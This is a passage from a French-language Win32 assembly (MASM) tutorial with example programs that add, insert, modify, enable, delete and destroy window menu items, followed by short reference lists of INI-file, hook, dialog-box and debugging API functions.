        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
            .IF ajouter==0
            invoke AppendMenu, hMenu, MF_STRING, IDM_ITEM5, ADDR Ajout
            invoke DrawMenuBar, hWnd
            mov ajouter, 1
            .ENDIF
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSEIF ax==IDM_ITEM5
            ; On a cliqué sur Item5 (l'item rajouté)
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
InsertMenu et DrawMenuBar Retour

InsertMenu sert à insérer un Item dans un Menu. Puisque cet API modifie le menu existant, il faut également faire appel à la fonction DrawMenuBar pour rafraîchir ce menu.
Il y a deux principales manières d'insérer un Item dans un Menu, soit vous l'insérez au-dessus du nom ou plutôt au dessus de l'IDENTIFICATEUR d'un item connu du menu (grâce à MF_BYCOMMAND), soit vous l'insérez au-dessus de la POSITION d'un Item du Menu, ex: au-dessus du 2e Item du Menu (grâce à MF_BYPOSITION).
Cet exemple se servira de la méthode par Identification (MF_BYCOMMAND) je la détaillerai à la fin de l'exemple, et vous donnerai aussi une petite vue sur l'autre méthode.
Après avoir ajouté notre nouvel Item le menu ressemblera à ceci:

      |Menu Popup| |Item3|
      |  Item1   |
      |InsertItem|
      |  Item2   |
      |  Exit    |

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rsc
Insert db "InsertItem",0 ;<-- Nom de l'Item à insérer.
inserer db 0		;<-- Quand il sera à 1, c'est que l'Item aura bien été inséré.

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ;;<-- Handle du menu

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4
IDM_ITEM5 equ 5 ;<-- n°ID du nouvel Item (ne fait pas parti du *.rc)

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge puis
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- affiche le menu normal.
    invoke ShowWindow, hwnd,CmdShow
    invoke UpdateWindow, hwnd

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
            .IF inserer==0
            invoke InsertMenu, hMenu, IDM_ITEM2, MF_STRING+MF_BYCOMMAND, IDM_ITEM5, ADDR Insert
            invoke DrawMenuBar, hWnd
            mov inserer, 1
            .ENDIF
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSEIF ax==IDM_ITEM5
            ; On a cliqué sur Item5 (l'item inséré)
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
-

Explication:

invoke InsertMenu, hMenu,\ ;<-- Identifie le Menu dans lequel sera inséré l'Item.
           IDM_ITEM2,\ ;<-- n°ID de l'Item au-dessus duquel sera inséré le nouvel Item.
        MF_STRING+MF_BYCOMMAND,\ ; (VOIR PLUS BAS)
        IDM_ITEM5,\ ;<-- n°ID du nouvel Item.
        ADDR Insert ;<-- adresse de la chaîne de caractère représentant ce nouvel Item.
MF_STRING: Indique un Item de type 'Texte' (on aurait pu l'omettre car il est pris par défaut). L'autre type d'Item est de type 'Dessin' avec MF_BITMAP ou MF_OWNERDRAW. Le dernier paramètre de cette fonction est donc le pointeur qui est sur la chaîne de caractère qui représente ce texte/nom.

MF_BYCOMMAND: Signifie qu'on se sert d'une insertion par rapport au n°ID d'un autre Item du menu. c'est pour cette raison que le second paramètre de cette fonction est le n°ID d'un Item. Ici on insère donc notre nouvel Item au-dessus de celui qui possède le n°ID ID_ITEM2.
Pour utiliser l'autre méthode d'insertion nous devons remplacer ce paramètre par MF_BYPOSITION et dans ce cas le second paramètre IDM_ITEM2 doit être supprimé et remplacer par la position de l'Item du menu avant lequel le nouvel Item sera inséré. Ici nous n'avons que deux Items (racine) qui sont Menu Popup et Item3 les autres sont des sous-Items du Menu Popup.

invoke InsertMenu, hMenu,\	 	  ; Ce qui donne :
           2,\			  ; |Menu Popup| |InsertItem| |Item3|
        MF_STRING+MF_BYPOSITION,\ ; |  Item1   |
        IDM_ITEM5,\		  ; |  Item2   |
        ADDR Insert 		  ; |  Exit    |
Pour insérer un Item parmi ceux du Popup en utilisant l'insertion par positionnement, nous devons utiliser en plus le flag 'MF_POPUP' pour atteindre les items du popup et en prime retrouver l'Handle du Popup.

Je ne saurai trop vous conseillé de jeté un coup d'oeil sur le manuel officiel W32API car il y a d'autres éléments non détaillés ici.
ModifyMenu et DrawMenuBar Retour

ModifyMenu sert à modifier ou remplacer l'Item d'un Menu par un autre. Cet API fonctionne exactement comme InsertMenu si ce n'est qu'ici le n°ID de l'Item du Menu qu'on lui passe sera celui qui sera remplacé (Et non pas l'Item au-dessus duquel était inséré le nouvel Item comme précédement).

Voici ce que nous obtenons:

      |Menu Popup| |Item3|				 |Menu Popup| |Item3|
      |  Item1   |					 |  Item1   |
      |  Item2   |			---->		 |ModifiItem|
      |  Exit    |					 |  Exit    |

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc
Modifie db "ModifiItem",0 ;<-- Nom du nouvel Item qui Modifiera l'ancien.
modifier db 0		;<-- Quand il sera à 1, c'est que l'Item aura bien été Modifié.

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ;<-- Handle du menu

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4
IDM_ITEM5 equ 5 ;<-- n°ID du nouvel Item (ne fait pas parti du *.rc)

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge puis
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- affiche le menu normal.
    invoke ShowWindow, hwnd,CmdShow
    invoke UpdateWindow, hwnd

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
            .IF modifier==0
            invoke ModifyMenu, hMenu, IDM_ITEM2, MF_STRING+MF_BYCOMMAND, IDM_ITEM5, ADDR Modifie
            invoke DrawMenuBar, hWnd
            mov modifier, 1
            .ENDIF
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSEIF ax==IDM_ITEM5
            ; On a cliqué sur Item5 (l'item Modifié)
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
Regardez plutôt la partie sur la fonction InsertMenu pour plus de détails, c'est EXACTEMENT le même esprit.
EnableMenuItem Retour

EnableMenuItem sert à Activer, Désactiver ou Griser l'Item d'un Menu.

      |Menu Popup| |Item3|		 |Menu Popup| |Item3|		 |Menu Popup| |Item3|
      |  Item1   |			 |  Item1   |			 |  Item1   |
      |  Item2   |			 |  Item2   |			 |  Item2   |
      |  Exit    |			 |  Exit    |			 |  Exit    |

Exemple:

(Menu.asm)

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ?

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge le menu en mémoire (mais ne l'affiche pas)
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- Assigne un nouveau menu à une fenêtre. Puisque notre
    invoke ShowWindow, hwnd,CmdShow ; fenêtre était dépourvue de menu, voici le sien. Si elle
    invoke UpdateWindow, hwnd		; possédait déjà un menu, celui-ci remplace l'ancien.

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1 ;<-- Quand on clique sur l'Item1
            invoke EnableMenuItem, hMenu, IDM_ITEM3, MF_BYCOMMAND+MF_ENABLED ; On active l'Item3
            invoke EnableMenuItem, hMenu, IDM_ITEM1, MF_BYCOMMAND+MF_DISABLED+MF_GRAYED ; Et déactive le 1
            invoke DrawMenuBar, hWnd ;<-- On rafraîchit le Menu.
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3 ;<-- Quand on clique sur l'Item3
            invoke EnableMenuItem, hMenu, IDM_ITEM3, MF_BYCOMMAND+MF_DISABLED+MF_GRAYED ; On déactive le 3
            invoke EnableMenuItem, hMenu, IDM_ITEM1, MF_BYCOMMAND+MF_ENABLED ; Et réactive l'Item 1
            invoke DrawMenuBar, hWnd ;<-- On rafraîchit le Menu.
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
C'est certainement la fonction la plus utilisée concernant les Menus. C'est aussi l'une des plus simples.
DeleteMenu / RemoveMenu Retour

Cette fonction efface un Item d'après son n°ID (si on utilise MF_BYCOMMAND) ou d'après sa position dans le menu (si on utilise le flag MF_BYPOSITION)

      |Menu Popup| |Item3|		 |Menu Popup| |Item3|
      |  Item1   |			 |  Item2   |
      |  Item2   |			 |  Exit    |
      |  Exit    |
Exemple:

(Menu.asm)

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ?

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge le menu en mémoire (mais ne l'affiche pas)
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- Assigne un nouveau menu à une fenêtre. Puisque notre
    invoke ShowWindow, hwnd,CmdShow ; fenêtre était dépourvue de menu, voici le sien. Si elle
    invoke UpdateWindow, hwnd		; possédait déjà un menu, celui-ci remplace l'ancien.

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
            invoke DeleteMenu, hMenu, IDM_ITEM2, MF_BYCOMMAND
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
Ici vous n'avez pas besoin de placer l'API DrawMenuItem sous DeleteMenu car on efface un Item du Popup. Et oui le fait de refermer et dérouler le Popup le rafraîchit automatiquement. Ça n'aurait pas été le cas pour l'Item3 par contre.

RemoveMenu prend EXACTEMENT les mêmes paramètres et donne le même résultat, à la petite différence près qu'avec cette fonction si c'est un Popup-Menu qu'on efface, son handle est abandonné mais pas détruit. Ainsi on peut rappeler ce menu Popup en retrouvant d'abord son handle grâce à l'API GetSubMenu.
DestroyMenu Retour

Cette fonction enlève définitivement d'une fenêtre la totalité d'un Menu (d'après son handle). Le menu est déchargé (des ressources). Ainsi si vous souhaitez par la suite le rappeler ou en appeler un autre il vous faudra utiliser l'API SetMenu de nouveau pour le rechargé en ressources.

Exemple:

(Menu.asm)

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ?

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge le menu en mémoire (mais ne l'affiche pas)
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- Assigne un nouveau menu à une fenêtre. Puisque notre
    invoke ShowWindow, hwnd,CmdShow ; fenêtre était dépourvue de menu, voici le sien. Si elle
    invoke UpdateWindow, hwnd		; possédait déjà un menu, celui-ci remplace l'ancien.

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
            invoke DestroyMenu, hMenu
            invoke DrawMenuBar, hWnd
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
Retour


 FICHIERS D'INITIALISATION (*.INI)

Les fonctions ci-dessous servent à écrire ou lire dans les SECTIONS des fichiers *.ini.
Exemple dans le fichier System.ini on a ceci:

[boot] <------------------------- Nom d'une des sections
system.drv = system.drv
 |		|---------------- La chaîne de caractères (String)
 |
 |------------------------------- Un Nom-Clef (Keyname) (dans cette section)

GetPrivateProfileInt		  Retrouve un nombre à la place de (String).
GetPrivateProfileSection	  Récupère tous les Keynames et Strings d'une section.
GetPrivateProfileString	   	  Retrouve une String particulière dans une section.
GetProfileInt			  Idem GetPrivateProfileInt mais que pour Win.ini.
GetProfileSection		  Idem GetPrivateProfileSection mais que pour Win.ini.
GetProfileString		  Idem GetPrivateProfileString mais que pour Win.ini.

WritePrivateProfileString   	  Ecrit une String dans le KeyName indiqué, de la Section
                    indiquée.
WriteProfileString		  Idem WritePrivateProfileString mais que pour Win.ini.
Il est néanmoins possible de faire les mêmes manipulations avec les fonctions ReadFile et WriteFile, mais les opérations sont beaucoup plus lourdes. (Déplacement du curseur de lecture/écriture avec SetFilePointer, délarer les chaînes de caractères dans les .Data comme Section db "[boot]",0 ...etc.)


 HOOKS
CallMsgFilter 	 	Passe un message à une procédure de filtre de messages.
CallNextHookEx 	 	Appelle la procédure de hook suivante dans la chaîne de Hook.
CallWndProc 	 	Filtre les Messages envoyés par la fonction SendMessage.
CBTProc 	 	Permet à une application CBT d'empêcher une opération.
DebugProc 	 	Examine des données avant qu'elles ne soit envoyé au hook.
GetMsgProc 	 	Filtre les messages retrouvés par GetMessage.
JournalPlaybackProc 	Places événements d'enregistrement (Records) dans la file d'attente
             du système.
JournalRecordProc 	Enregistre les (messages) événements.
KeyboardProc 	 	Filtre les messages 'clavier'.
MessageProc 	 	Filtre les messages de DialogBox, MessageBox, ou les messages de Menu.
MouseProc 	 	Filtre les messages 'souris'.
SetWindowsHook 	 	Installe une procédure de hook.
SetWindowsHookEx 	Installe une procédure de hook.
ShellProc 	 	Reçoit des avis du système. (des messages envoyés par le système)
SysMsgProc 	 	Filtres les messages de DialogBox , MessageBox, ou les messages Menu.
UnhookWindowsHook 	Enlève une fonction de hook (servant à filtrer les messages).
UnhookWindowsHookEx 	Enlève une fonction de la chaîne de hook.
DefHookProc 	 	Désuette.

CBTACTIVATE
CBT_CREATEWND
CWPSTRUCT
DEBUGHOOKINFO
EVENTMSG
MSG
MOUSEHOOK
RECT

Les fonctions de Hook font appel à des fonctions Callback. C'est un point à éclaircir:

Une fonction Callback est définie dans notre application, elle sera appellée uniquement par le
système, et elle lui rendra la main dès qu'elle aura terminée son traitement.
Les Callback sont un concept qu'on retrouve partout sous win32, et ne sont en rien spécifiques
aux Hooks. La fonction Callback la plus utilisée est certainement "WindowProc", la fonction de
traitement des messages de fenêtres.
C'est a nous-même de définis le traitement qu'effectura notre fonction, par contre la liste de
ses paramètres est définie uniquement par Microsoft, ce qui est compréhensible.

Dans la plupart des cas on va faire appel à une fonction win32 qui demande un pointeur sur une
fonction Callback, par exemple SetWindowsHookEx, puisque on est parti sur les Hooks.
Dans SetWindowsHookEx, on définis le type d'évènements à intercepter, et un pointeur sur une
fonction qui sera appelée par windows à chaque fois que l'évènement sera détecté.
La liste des paramètres de notre fonction Callback sera définie en fonction de l'évènement
choisi.

<SharpSighted>


 DIALOG BOX

Les fonctions suivantes sont utilisées pour créer et gérer des DialogBox et leurs Controls.

CreateDialog 	 	 Crée une DialogBox de modèle non-prédéterminé.
CreateDialogIndirect 	 Crée une DialogBox de modèle non-prédéterminé d'après le Template
             en mémoire.
CreateDialogIndirectParam 	 Crée une DialogBox de modèle non-prédéterminé d'après le
             Template en mémoire.
CreateDialogParam 	 Crée une DialogBox de modèle non-prédéterminé.
DefDlgProc 	 	 S'occupe du traitement des messages de fenêtre par défaut.
DialogBox 	 	 Crée une DialogBox prédéterminée.
DialogBoxIndirect 	 Crée une DialogBox prédéterminée d'après le Template en mémoire.
DialogBoxIndirectParam 	 Crée une DialogBox prédéterminée d'après le Template en mémoire.
DialogBoxParam 	 	 Crée une DialogBox prédéterminée.

DialogProc 	 	 S'occupe du Traitement des entrées d'une DialogBox de modèle
             non-prédéterminé.
EndDialog 	 	 Détruit une DialogBox de modèle prédéterminé.
GetDialogBaseUnits 	 Retourne les unités de base de Dialog.
GetDlgCtrlID 	 	 Retourne le n°ID d'une fenêtre enfant.
GetDlgItem 	 	 Retourne le handle d'un Control d'une DialogBox.
GetDlgItemInt 	 	 Convertit un chiffre(de format texte) d'une DialogBox en un vrai
             nombre entier.
GetDlgItemText 	 	 Récupère le texte d'un Control d'une DialogBox.
GetNextDlgGroupItem 	 Récupère le handle du Control précédent ou suivant.
GetNextDlgTabItem 	 Récupère le Handle du Control de type WS_TABSTOP suivant ou précédent.

IsDialogMessage 	 Détermine si un message est destiné à une DialogBox.
MapDialogRect 	 	 Unités de DialogBox en pixels.
SendDlgItemMessage 	 Envoie un message à un des Controls d'une DialogBox.
SetDlgItemInt 	 	 Convertit(écrit) un nb entier en un texte pour un Control d'une
             DialogBox (ou son titre).
SetDlgItemText 	  	 Pose(écrit) le titre de la DialogBox ou le texte du Control.

DLGTEMPLATE


 DEBUG
CloseHandle			Referme le Handle d'un Process ou d'un Lien.
CreateProcess			Le Debugger crée lui-même le Process de sa cible pour la
                debugger.
ContinueDebugEvent 	 	Relance le lien mis en attente pour continuer à le debugger.
DebugActiveProcess 	 	Le Debugger s'attache au process de sa cible déjà en cours
                pour la debugger.
DebugBreak 	 		provoque une exception de contrôle dans le Caller.
DebugSnapShotProcessHeaps 	ToolHelp aide
ExitProcess	 		Termine un Process et tous ses liens.
FatalAppExit 	 		Termine (referme) une application (en affichant une Erreur
                Fatale)
FatalExit 	 		Rend le contrôle au Debugger.
FlushInstructionCache 	 	Nettoyage par le vide des instructions de la mémoire cache.
OpenProcess			Ouvre un process.
OutputDebugString 	 	Envoie une chaîne de caractères au programme Debugger.
ReadProcessMemory 	 	Lit la mémoire  à l'intérieur d'un autre programme.
TerminateProcess		Termine un process et tous ses liens.
